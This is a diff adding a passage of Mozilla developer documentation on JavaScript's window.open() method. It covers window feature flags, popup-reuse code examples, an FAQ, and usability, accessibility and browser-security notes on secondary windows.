+ <dd>If on, the new created window floats below, under its own parent when the parent window is not minimized. alwaysLowered windows are often referred as pop-under windows. The alwaysLowered window can not be on top of the parent but the parent window can be minimized. In NS 6.x, the alwaysLowered window has no minimize system command icon and no restore/maximize system command.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+ <dt>z-lock</dt>
+ <dd>Same as <code>alwaysLowered</code>.</dd>
+ <dt>close</dt>
+ <dd>When set to <var>no or 0</var>, this feature removes the system close command icon and system close menu item. It will only work for dialog windows (<code>dialog</code> feature set). <code>close=no</code> will override <code>minimizable=yes</code>.</dd>
+ <dd>Mozilla and Firefox users can force new windows to always have a close button by setting<br>
+ <code>dom.disable_window_open_feature.close</code><br>
+ to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
+ <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
+</dl>
+
+<p>The position and size feature elements require a number to be set. The toolbars and window functionalities can be set with a <var>yes</var> or <var>no</var>; you can use <var>1</var> instead of <var>yes</var> and <var>0</var> instead of <var>no</var>. The toolbar and functionality feature elements also accept the shorthand form: you can turn a feature on by simply listing the feature name in the <var>features</var> string. If you supply the <var>features</var> parameter, then the <code>titlebar</code> and <code>close</code> are still <var>yes</var> by default, but the other features which have a <var>yes</var>/<var>no</var> choice will be <var>no</var> by default and will be turned off.</p>
+
+<p>Example:</p>
+
+<pre class="brush:js">var windowObjectReference; // global variable
+
+function openRequestedPopup() {
+ windowObjectReference = window.open(
+ "http://www.domainname.ext/path/ImgFile.png",
+ "DescriptiveWindowName",
+ "width=420,height=230,resizable,scrollbars=yes,status=1"
+ );
+}</pre>
+
+<p>In this example, the window will be resizable, it will render scrollbar(s) if needed, if the content overflows requested window dimensions and it will render the status bar. It will not render the menubar nor the location bar. Since the author knew about the size of the image (400 pixels wide and 200 pixels high), they added the margins applied to the root element in MSIE 6 which is 15 pixels for top margin, 15 pixels for the bottom margin, 10 pixels for the left margin and 10 pixels for the right margin.</p>
+
+<h2 id="Best_practices">Best practices</h2>
+
+<pre class="brush:js">&lt;script type="text/javascript"&gt;
+var windowObjectReference = null; // global variable
+
+function openFFPromotionPopup() {
+ if(windowObjectReference == null || windowObjectReference.closed)
+ /* if the pointer to the window object in memory does not exist
+ or if such pointer exists but the window was closed */
+
+ {
+ windowObjectReference = window.open("http://www.spreadfirefox.com/",
+ "PromoteFirefoxWindowName", "resizable,scrollbars,status");
+ /* then create it. The new window will be created and
+ will be brought on top of any other window. */
+ }
+ else
+ {
+ windowObjectReference.focus();
+ /* else the window reference must exist and the window
+ is not closed; therefore, we can bring it back on top of any other
+ window with the focus() method. There would be no need to re-create
+ the window or to reload the referenced resource. */
+ };
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindowName"
+ onclick="openFFPromotionPopup(); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<p>The above code solves a few usability problems related to links opening secondary window. The purpose of the <code>return false</code> in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName".</p>
+
+<p>More reading on the use of the target attribute:</p>
+
+<p><a href="http://www.w3.org/TR/html401/present/frames.html#h-16.3.2">HTML 4.01 Target attribute specifications</a></p>
+
+<p><a href="http://www.htmlhelp.com/faq/html/links.html#new-window">How do I create a link that opens a new window?</a></p>
+
+<p>You can also parameterize the function to make it versatile, functional in more situations, therefore re-usable in scripts and webpages:</p>
+
+<pre class="brush:js">&lt;script type="text/javascript"&gt;
+var windowObjectReference = null; // global variable
+
+function openRequestedPopup(strUrl, strWindowName) {
+ if(windowObjectReference == null || windowObjectReference.closed) {
+ windowObjectReference = window.open(strUrl, strWindowName,
+ "resizable,scrollbars,status");
+ } else {
+ windowObjectReference.focus();
+ };
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindow"
+ onclick="openRequestedPopup(this.href, this.target); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<p>You can also make such function able to open only 1 secondary window and to reuse such single secondary window for other links in this manner:</p>
+
+<pre class="brush:js">&lt;script type="text/javascript"&gt;
+var windowObjectReference = null; // global variable
+var PreviousUrl; /* global variable which will store the
+ url currently in the secondary window */
+
+function openRequestedSinglePopup(strUrl) {
+ if(windowObjectReference == null || windowObjectReference.closed) {
+ windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+ "resizable,scrollbars,status");
+ } else if(PreviousUrl != strUrl) {
+ windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+ "resizable=yes,scrollbars=yes,status=yes");
+ /* if the resource to load is different,
+ then we load it in the already opened secondary window and then
+ we bring such window back on top/in front of its parent window. */
+ windowObjectReference.focus();
+ } else {
+ windowObjectReference.focus();
+ };
+
+ PreviousUrl = strUrl;
+ /* explanation: we store the current url in order to compare url
+ in the event of another call of this function. */
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a
+ href="http://www.spreadfirefox.com/"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;a
+ href="http://www.mozilla.org/support/firefox/faq"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+&gt;Firefox FAQ&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<h2 id="FAQ">FAQ</h2>
+
+<dl>
+ <dt>How can I prevent the confirmation message asking the user whether they want to close the window?</dt>
+ <dd>You can not. <strong>New windows not opened by javascript can not as a rule be closed by JavaScript.</strong> The JavaScript Console in Mozilla-based browsers will report the warning message: <code>"Scripts may not close windows that were not opened by script."</code> Otherwise the history of URLs visited during the browser session would be lost.</dd>
+ <dd><a href="/en-US/docs/DOM/window.close" title="DOM/window.close">More on the window.close()</a> method</dd>
+ <dt>How can I bring back the window if it is minimized or behind another window?</dt>
+ <dd>First check for the existence of the window object reference of such window and if it exists and if it has not been closed, then use the <a href="/en-US/docs/DOM/window.focus" title="DOM/window.focus">focus()</a> method. There is no other reliable way. You can examine an <a href="#Best_practices">example explaining how to use the focus() method</a>.</dd>
+ <dt>How do I force a maximized window?</dt>
+ <dd>You cannot. All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users.</dd>
+ <dt>How do I turn off window resizability or remove toolbars?</dt>
+ <dd>You cannot force this. Users with Mozilla-based browsers have absolute control over window functionalities like resizability, scrollability and toolbars presence via user preferences in <code>about:config</code>. Since your users are the ones who are supposed to use such windows (and not you, being the web author), the best is to avoid interfering with their habits and preferences. We recommend to always set the resizability and scrollbars presence (if needed) to yes to insure accessibility to content and usability of windows. This is in the best interests of both the web author and the users.</dd>
+ <dt>How do I resize a window to fit its content?</dt>
+ <dd>You can not reliably because the users can prevent the window from being resized by unchecking the <code>Edit/Preferences/Advanced/Scripts &amp; Plug-ins/Allow Scripts to/ Move or resize existing windows</code> checkbox in Mozilla or <code>Tools/Options.../Content tab/Enable Javascript/Advanced button/Move or resize existing windows</code> checkbox in Firefox or by setting <code>dom.disable_window_move_resize</code> to <var>true</var> in <code>about:config</code> or by editing accordingly their <a href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
+ <dd>In general, users usually disable moving and resizing of existing windows because allowing authors' scripts to do so has been abused overwhelmingly in the past and the rare scripts that do not abuse such feature are often wrong, inaccurate when resizing the window. 99% of all those scripts disable window resizability and disable scrollbars when in fact they should enable both of these features to allow a cautious and sane fallback mechanism if their calculations are wrong.</dd>
+ <dd>The window method <a href="/en-US/docs/DOM/window.sizeToContent" title="DOM/window.sizeToContent">sizeToContent()</a> is also disabled if the user unchecks the preference <code>Move or resize existing windows</code> checkbox. Moving and resizing a window remotely on the user's screen via script will very often annoy the users, will disorient the user, and will be wrong at best. The web author expects to have full control of (and can decide about) every position and size aspects of the users' browser window ... which is simply not true.</dd>
+ <dt>How do I open a referenced resource of a link in a new tab? or in a specific tab?</dt>
+ <dd>To open a resource in a new tab see <a href="https://developer.mozilla.org/en-US/docs/XUL/tabbrowser">Tabbed browser</a>. Some <a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/Tabbed_browser?redirectlocale=en-US&amp;redirectslug=Code_snippets%2FTabbed_browser">Code snippets</a> are available. If you are using the SDK, tabs are <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs">handled a bit differently</a></dd>
+ <dd><a href="http://kmeleon.sourceforge.net/">K-meleon 1.1</a>, a Mozilla-based browser, gives complete control and power to the user regarding how links are opened. Only the user can set his advanced preferences to do that. Some advanced extensions also give Mozilla and Firefox a lot of power over how referenced resources are loaded.</dd>
+ <dd>In a few years, the <a href="http://www.w3.org/TR/2004/WD-css3-hyperlinks-20040224/#target0">target property of the CSS3 hyperlink module</a> may be implemented (if CSS3 Hyperlink module as it is right now is approved). And even if and when this happens, you can expect developers of browsers with tab-browsing to give the user entire veto power and full control over how links can open web pages. How to open a link should always be entirely under the control of the user.</dd>
+ <dt>How do I know whether a window I opened is still open?</dt>
+ <dd>You can test for the existence of the window object reference which is the returned value in case of success of the window.open() call and then verify that <var>windowObjectReference</var>.closed return value is <var>false</var>.</dd>
+ <dt>How can I tell when my window was blocked by a popup blocker?</dt>
+ <dd>With the built-in popup blockers of Mozilla/Firefox and Internet Explorer 6 SP2, you have to check the return value of <code>window.open()</code>: it will be <var>null</var> if the window wasn't allowed to open. However, for most other popup blockers, there is no reliable way.</dd>
+ <dt>What is the JavaScript relationship between the main window and the secondary window?</dt>
+ <dd>The <code>window.open()</code> method gives a main window a reference to a secondary window; the <a href="/en-US/docs/DOM/window.opener" title="DOM/window.opener">opener</a> property gives a secondary window a reference to its main window.</dd>
+ <dt>I can not access the properties of the new secondary window. I always get an error in the javascript console saying "Error<span class="nowiki">:</span> uncaught exception<span class="nowiki">:</span> Permission denied to get property &lt;property_name or method_name&gt;. Why is that?</dt>
+ <dd>It is because of the cross-domain script security restriction (also referred as the "Same Origin Policy"). A script loaded in a window (or frame) from a distinct origin (domain name) <strong>cannot get nor set</strong> properties of another window (or frame) or the properties of any of its HTML objects coming from another distinct origin (domain name). Therefore, before executing a script targeting a secondary window, the browser in the main window will verify that the secondary window has the same domain name.</dd>
+ <dd>More reading on the cross-domain script security restriction: <a href="http://www.mozilla.org/projects/security/components/same-origin.html" rel="freelink">http://www.mozilla.org/projects/secu...me-origin.html</a></dd>
+</dl>
+
+<h2 id="Usability_issues">Usability issues</h2>
+
+<h3 id="Avoid_resorting_to_window.open()">Avoid resorting to <code>window.open()</code></h3>
+
+<p>Generally speaking, it is preferable to avoid resorting to window.open() for several reasons:</p>
+
+<ul>
+ <li>All Mozilla-based browsers offer <a href="https://developer.mozilla.org/en-US/docs/XUL/tabbrowser">tab-browsing</a> and this is the preferred mode of <a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/Tabbed_browser?redirectlocale=en-US&amp;redirectslug=Code_snippets%2FTabbed_browser">opening referenced resources</a> (<a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs">SDK</a>)... not just in Mozilla-based browsers but in all other browsers offering tab-browsing. In other words, tab-capable browser users overall prefer opening new tabs than opening new windows in a majority of webpage situations. Tab-capable browsers have rapidly gained support and enthusiasm on internet in the last 3 years; this trend will not revert back. MSIE 7, released in October 2006, has full support for tab browsing.</li>
+ <li>There are now <a href="https://addons.mozilla.org/seamonkey/browse/type:1/cat:48/sort:updated">several Mozilla extensions</a> (like Multizilla) and <a href="https://addons.update.mozilla.org/firefox/browse/type:1/cat:14/sort:updated">Firefox extensions</a> (like <a href="https://addons.mozilla.org/firefox/addon/158">Tabbrowser preferences</a>), features, settings and advanced preferences based on tab-browsing and based on converting window.open() calls into opening tabs, based on neutralizing window.open() calls, in particular in neutralizing unrequested openings of new windows (often referred as blocking unrequested popups or as blocking script-initiated windows opening automatically). Such features found in extensions include opening a link in a new window or not, in the same window, in a new tab or not, in "background" or not. Coding carelessly to open new windows can no longer be assured of success, can not succeed by force and, if it does, it will annoy a majority of users.</li>
+ <li>New windows can have menubar missing, scrollbars missing, status bar missing, window resizability disabled, etc.; new tabs can not be missing those functionalities or toolbars (or at least, the toolbars which are present by default). Therefore, tab-browsing is preferred by a lot of users because the normal user-interface of the browser window they prefer is kept intact, remains stable.</li>
+ <li>Opening new windows, even with reduced features, uses considerably a lot of the user's system resources (cpu, RAM) and involves considerably a lot of coding in the source code (security management, memory management, various code branchings sometimes quite complex, window frame/chrome/toolbars building, window positioning and sizing, etc.). Opening new tabs is less demanding on the user's system resources (and faster to achieve) than opening new windows.</li>
+</ul>
+
+<h3 id="Offer_to_open_a_link_in_a_new_window_using_these_guidelines">Offer to open a link in a new window, using these guidelines</h3>
+
+<p>If you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines:</p>
+
+<h4 id="Never_use_this_form_of_code_for_links_&lt;a_hrefjavascriptwindow.open(...)_...>"><em>Never</em> use this form of code for links: <code>&lt;a href="javascript:window.open(...)" ...&gt;</code></h4>
+
+<p>"javascript:" links break accessibility and usability of webpages in every browser.</p>
+
+<ul>
+ <li>"javascript:" pseudo-links become dysfunctional when javascript support is disabled or inexistent. Several corporations allow their employees to surf on the web but under strict security policies: no javascript enabled, no java, no activeX, no Flash. For various reasons (security, public access, text browsers, etc..), about 5% to 10% of users on the web surf with javascript disabled.</li>
+ <li>"javascript:" links will interfere with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, tab-browsing features in extensions, etc.</li>
+ <li>"javascript:" links will interfere with the process of indexing webpages by search engines.</li>
+ <li>"javascript:" links interfere with assistive technologies (e.g. voice browsers) and several web-aware applications (e.g. <abbr title="Personal Digital Assistant">PDAs</abbr> and mobile browsers).</li>
+ <li>"javascript:" links also interfere with "mouse gestures" features implemented in browsers.</li>
+ <li>Protocol scheme "javascript:" will be reported as an error by link validators and link checkers.</li>
+</ul>
+
+<p><strong>Further reading:</strong></p>
+
+<ul>
+ <li><a href="http://www.useit.com/alertbox/20021223.html">Top Ten Web-Design Mistakes of 2002</a>, 6. JavaScript in Links, Jakob Nielsen, December 2002</li>
+ <li><a href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a>, Jeff Howden, February 2002</li>
+ <li><a href="http://jibbering.com/faq/#FAQ4_24">comp.lang.javascript newsgroup discussion FAQ on "javascript:" links</a></li>
+</ul>
+
+<h4 id="Never_use_&lt;a_href_onclickwindow.open(...)>">Never use <code>&lt;a href="#" onclick="window.open(...);"&gt;</code></h4>
+
+<p>Such pseudo-link also breaks accessibility of links. <strong>Always use a real URL for the href attribute value</strong> so that if javascript support is disabled or inexistent or if the user agent does not support opening of secondary window (like MS-Web TV, text browsers, etc), then such user agents will still be able to load the referenced resource according to its default mode of opening/handling a referenced resource. This form of code also interferes with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, Ctrl+Enter on links, "mouse gestures" features.</p>
+
+<h4 id="Always_identify_links_which_will_create_(or_will_re-use)_a_new_secondary_window">Always identify links which will create (or will re-use) a new, secondary window</h4>
+
+<p>Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.</p>
+
+<p>The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled).</p>
+
+<blockquote>
+<p>"Users often don't notice that a new window has opened, especially if they are using a small monitor where the windows are maximized to fill up the screen. So a user who tries to return to the origin will be confused by a grayed out <em>Back</em> button."<br>
+ quote from <a href="http://www.useit.com/alertbox/990530.html">The Top Ten <em>New</em> Mistakes of Web Design</a>: 2. Opening New Browser Windows, Jakob Nielsen, May 1999</p>
+</blockquote>
+
+<p>When extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "background" or not).</p>
+
+<p><strong>References</strong></p>
+
+<ul>
+ <li>"If your link spawns a new window, or causes another windows to 'pop up' on your display, or move the focus of the system to a new FRAME or Window, then the nice thing to do is to tell the user that something like that will happen." <a href="http://www.w3.org/WAI/wcag-curric/sam77-0.htm">World Wide Web Consortium Accessibility Initiative regarding popups</a></li>
+ <li>"Use link titles to provide users with a preview of where each link will take them, before they have clicked on it." <a href="http://www.useit.com/alertbox/991003.html">Ten Good Deeds in Web Design</a>, Jakob Nielsen, October 1999</li>
+ <li><a href="http://www.useit.com/alertbox/980111.html">Using Link Titles to Help Users Predict Where They Are Going</a>, Jakob Nielsen, January 1998</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header" colspan="4">Example "New Window" Icons &amp; Cursors</td>
+ </tr>
+ <tr>
+ <td><img alt="New window icon from yahoo.com" src="/@api/deki/files/782/=NewwindowYahoo.png"></td>
+ <td><img alt="New window icon from microsoft.com" src="/@api/deki/files/780/=NewwinMSIE.gif"></td>
+ <td><img alt="New window icon from webaim.org" src="/@api/deki/files/296/=Popup_requested_new_window.gif"></td>
+ <td><img alt="New window icon from sun.com" src="/@api/deki/files/811/=PopupImageSun.gif"></td>
+ </tr>
+ <tr>
+ <td><img alt="New window icon from bbc.co.uk" src="/@api/deki/files/795/=Opennews_rb.gif"></td>
+ <td><img alt="New window icon from Accessible Internet Solutions" src="/@api/deki/files/15/=AIS_NewWindowIcon.png"></td>
+ <td><img alt="New window icon from accessify.com" src="/@api/deki/files/809/=Pop-up-launcher.gif"></td>
+ <td><img alt="New window icon from webstyleguide.com" src="/@api/deki/files/417/=Webstyleguide_com_newwind.gif"></td>
+ </tr>
+ <tr>
+ <td><img alt="New window icon from an unknown source" src="/@api/deki/files/810/=Popicon_1.gif"></td>
+ <td><img alt="New window icon from an unknown source" src="/@api/deki/files/779/=New.gif"></td>
+ <td><img alt="New window icon from an unknown source" src="/@api/deki/files/419/=WillCreateOrRecycleNewWindow.gif"></td>
+ <td><img alt="New window icon from gtalbot.org" src="/@api/deki/files/287/=OpenRequestedPopup.png"></td>
+ </tr>
+ <tr>
+ <td colspan="2"><img alt="New window cursor from draig.de" src="/@api/deki/files/169/=Cursor_LinkNewWindowTargetBlank.png"></td>
+ <td colspan="2"><img alt="New window cursor from mithgol.ru" src="/@api/deki/files/170/=Cursor_newwindowSergeySokoloff.png"></td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="Always_use_the_target_attribute">Always use the target attribute</h4>
+
+<p>If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents which can not create new windows, like MS Web TV, will fetch the referenced resource and append it at the end of the current document. The goal and the idea is to try to provide - <strong>not impose</strong> - to the user a way to open the referenced resource, a mode of opening the link. Your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user.</p>
+
+<h4 id="Do_not_use_target_blank">Do not use <code>target="_blank"</code></h4>
+
+<p>Always provide a meaningful name to your target attribute and try to reuse such target attribute in your page so that a click on another link may load the referenced resource in an already created and rendered window (therefore speeding up the process for the user) and therefore justifying the reason (and user system resources, time spent) for creating a secondary window in the first place. Using a single target attribute value and reusing it in links is much more user resources friendly as it only creates one single secondary window which is recycled. On the other hand, using "_blank" as the target attribute value will create several new and unnamed windows on the user's desktop which can not be recycled, reused. In any case, if your code is well done, it should not interfere with the user's final choice but rather merely offer him more choices, more ways to open links and more power to the tool he's using (a browser).</p>
+
+<h2 id="Glossary">Glossary</h2>
+
+<dl>
+ <dt>Opener window, parent window, main window, first window</dt>
+ <dd>Terms often used to describe or to identify the same window. It is the window from which a new window will be created. It is the window on which the user clicked a link which lead to the creation of another, new window.</dd>
+ <dt>Sub-window, child window, secondary window, second window</dt>
+ <dd>Terms often used to describe or to identify the same window. It is the new window which was created.</dd>
+ <dt>Unrequested popup windows</dt>
+ <dd>Script-initiated windows opening automatically without the user's consent.</dd>
+</dl>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'window-object.html#dom-open', 'Window.open()')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSSOM View', '#the-features-argument-to-the-open()-method', 'The features argument to the open() method') }}</td>
+ <td>{{ Spec2('CSSOM View') }}</td>
+ <td>Defines the effect of the <code>features</code> argument</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.open")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="Note_on_precedence">Note on precedence</h3>
+
+<p>In cases where <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) have conflicting values, then <code>left</code> and <code>top</code> have precedence over <code>screenX</code> and <code>screenY</code> respectively. If <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) are defined in the <var>features</var> list, then <code>left</code> (and/or <code>top</code>) will be honored and rendered. In the following example the new window will be positioned at 100 pixels from the left side of the work area for applications of the user's operating system, not at 200 pixels.</p>
+
+<pre class="brush:js">windowObjectReference = window.open(
+ "http://news.bbc.co.uk/",
+ "BBCWorldNewsWindowName",
+ "left=100,screenX=200,resizable,scrollbars,status"
+);</pre>
+
+<p>If left is set but top has no value and screenY has a value, then left and screenY will be the coordinate positioning values of the secondary window.</p>
+
+<p>outerWidth has precedence over width and width has precedence over innerWidth. outerHeight has precedence over height and height has precedence over innerHeight. In the following example, Mozilla-browsers will create a new window with an outerWidth of 600 pixels wide and will ignore the request of a width of 500 pixels and will also ignore the request of an innerWidth of 400 pixels.</p>
+
+<pre class="brush:js">windowObjectReference = window.open(
+ "http://www.wwf.org/",
+ "WWildlifeOrgWindowName",
+ "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status"
+);</pre>
+
+<h3 id="Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</h3>
+
+<p>Requested position and requested dimension values in the <var>features</var> list will not be honored and <strong>will be corrected</strong> if any of such requested value does not allow the entire browser window to be rendered within the work area for applications of the user's operating system. <strong>No part of the new window can be initially positioned offscreen. This is by default in all Mozilla-based browser releases.</strong></p>
+
+<p><a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">MSIE 6 SP2 has a similar error correction mechanism</a> but it is not activated by default in all security levels: a security setting can disable such error correction mechanism.</p>
+
+<h3 id="Note_on_scrollbars">Note on scrollbars</h3>
+
+<p>When content overflows window viewport dimensions, then scrollbar(s) (or some scrolling mechanism) are necessary to ensure that content can be accessed by users. Content can overflow window dimensions for several reasons which are outside the control of web authors:</p>
+
+<ul>
+ <li>user resizes the window</li>
+ <li>user increases the text size of fonts via View/Text Zoom (%) menuitem in Mozilla or View/Text Size/Increase or Decrease in Firefox</li>
+ <li>user sets a minimum font size for pages which is bigger than the font-size the web author requested. People over 40 years old or with particular viewing habit or reading preference often set a minimal font size in Mozilla-based browsers.</li>
+ <li>web author is not aware of default margin (and/or border and/or padding) values applying to root element or body node in various browsers and various browser versions</li>
+ <li>user uses an user stylesheet (<a href="http://www.mozilla.org/support/firefox/edit#content">userContent.css in Mozilla-based browsers</a>) for his viewing habits which increases document box dimensions (margin, padding, default font size)</li>
+ <li>user can customize individually the size (height or width) of most toolbars via operating system settings. E.g. window resizing borders, height of browser titlebar, menubar, scrollbars, font size are entirely customizable by the user in Windows XP operating system. These toolbars dimensions can also be set via browser themes and skins or by operating system themes</li>
+ <li>web author is unaware that the user default browser window has custom toolbar(s) for specific purpose(s); e.g.: prefs bar, web developer bar, accessibility toolbar, popup blocking and search toolbar, multi-feature toolbar, etc.</li>
+ <li>user uses assistive technologies or add-on features which modify the operating system's work area for applications: e.g. MS-Magnifier</li>
+ <li>user repositions and/or resizes directly or indirectly the operating system's work area for applications: e.g. user resizes the Windows taskbar, user positions the Windows taskbar on the left side (arabic language based) or right side (Hebrew language), user has a permanent MS-Office quick launch toolbar, etc.</li>
+ <li>some operating system (Mac OS X) forces presence of toolbars which can then fool the web author's anticipations, calculations of the effective dimensions of the browser window</li>
+</ul>
+
+<h3 id="Note_on_status_bar">Note on status bar</h3>
+
+<p>You should assume that a large majority of browsers will have the status bar or that a large majority of users will want to force the status bar presence: best is to always set this feature to yes. Also, if you specifically request to remove the status bar, then Firefox users will not be able to view the Site Navigation toolbar if it is installed. In Mozilla and in Firefox, all windows with a status bar have a window resizing grippy at its right-most side. The status bar also provides info on http connection, hypertext resource location, download progress bar, encryption/secure connection info with <abbr title="Secure Socket Layer">SSL</abbr> connection (displaying a yellow padlock icon), internet/security zone icons, privacy policy/cookie icon, etc. <strong>Removing the status bar usually removes a lot of functionality, features and information considered useful (and sometimes vital) by the users.</strong></p>
+
+<h3 id="Note_on_security_issues_of_the_status_bar_presence">Note on security issues of the status bar presence</h3>
+
+<p>In MSIE 6 for XP SP2: For windows opened using <code>window.open()</code>:</p>
+
+<blockquote>
+<p>"For windows opened using window.open():<br>
+ Expect the status bar to be present, and code for it. <strong>The status bar will be on by default</strong> and is 20-25 pixels in height. (...)"<br>
+ quote from <a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2</a></p>
+</blockquote>
+
+<blockquote>
+<p>"(...) windows that are created using the window.open() method can be called by scripts and used to spoof a user interface or desktop or to hide malicious information or activity by sizing the window so that the status bar is not visible.<br>
+ Internet Explorer windows provide visible security information to the user to help them ascertain the source of the Web page and the security of the communication with that page. When these elements are not in view, the user might think they are on a more trusted page or interacting with a system process when they are actually interacting with a malicious host. (...)<br>
+ <strong>Script-initiated windows will be displayed fully, with the Internet Explorer title bar and status bar.</strong> (...)<br>
+ Script management of Internet Explorer status bar<br>
+ Detailed description<br>
+ <strong>Internet Explorer has been modified to not turn off the status bar for any windows. The status bar is always visible for all Internet Explorer windows.</strong> (...) Without this change, windows that are created using the window.open() method can be called by scripts and spoof a user interface or desktop or hide malicious information or activity by hiding important elements of the user interface from the user.<br>
+ The status bar is a security feature of Internet Explorer windows that provides Internet Explorer security zone information to the user. This zone cannot be spoofed (...)"<br>
+ quote from <a href="http://technet.microsoft.com/en-us/library/bb457150.aspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions</a></p>
+</blockquote>
+
+<h3 id="Note_on_fullscreen">Note on fullscreen</h3>
+
+<p>In MSIE 6 for XP SP2:</p>
+
+<ul>
+ <li>"window.open() with fullscreen=yes will now result in a maximized window, not a kiosk mode window."</li>
+ <li>"The definition of the fullscreen=yes specification is changed to mean 'show the window as maximized,' which will keep the title bar, address bar, and status bar visible."</li>
+</ul>
+
+<h4 id="References">References:</h4>
+
+<ul>
+ <li><a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2</a></li>
+ <li><a href="http://technet.microsoft.com/en-us/library/bb457150.aspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Script sizing of Internet Explorer windows</a></li>
+</ul>
+
+<h3 id="Note_on_outerHeight_versus_height">Note on outerHeight versus height</h3>
+
+<p><img alt="innerHeight vs outerHeight illustration" src="/@api/deki/files/212/=FirefoxInnerVsOuterHeight.png"></p>
+
+<h3 id="Note_on_refreshing_vs._opening_a_new_windowtab">Note on refreshing vs. opening a new window/tab</h3>
+
+<p>If the <code>strWindowName</code> parameter is omitted, a new window or tab is opened. If a window with the same name already exists, the existing window is refreshed.</p>
+
+<pre class="brush:js">//Always opens a new window/tab
+window.open("map.php");
+
+//Refreshes an existing window/tab that was opened with the same name, if one exists
+window.open("map.php", "BiggerMap");</pre>
+
+<h2 id="Tutorials">Tutorials</h2>
+
+<ul>
+ <li><a href="http://www.infimum.dk/HTML/JSwindows.html">JavaScript windows (tutorial)</a> by Lasse Reichstein Nielsen</li>
+ <li><a href="http://accessify.com/features/tutorials/the-perfect-popup/" title="http://accessify.com/features/tutorials/the-perfect-popup/">The perfect pop-up (tutorial)</a> by Ian Lloyd</li>
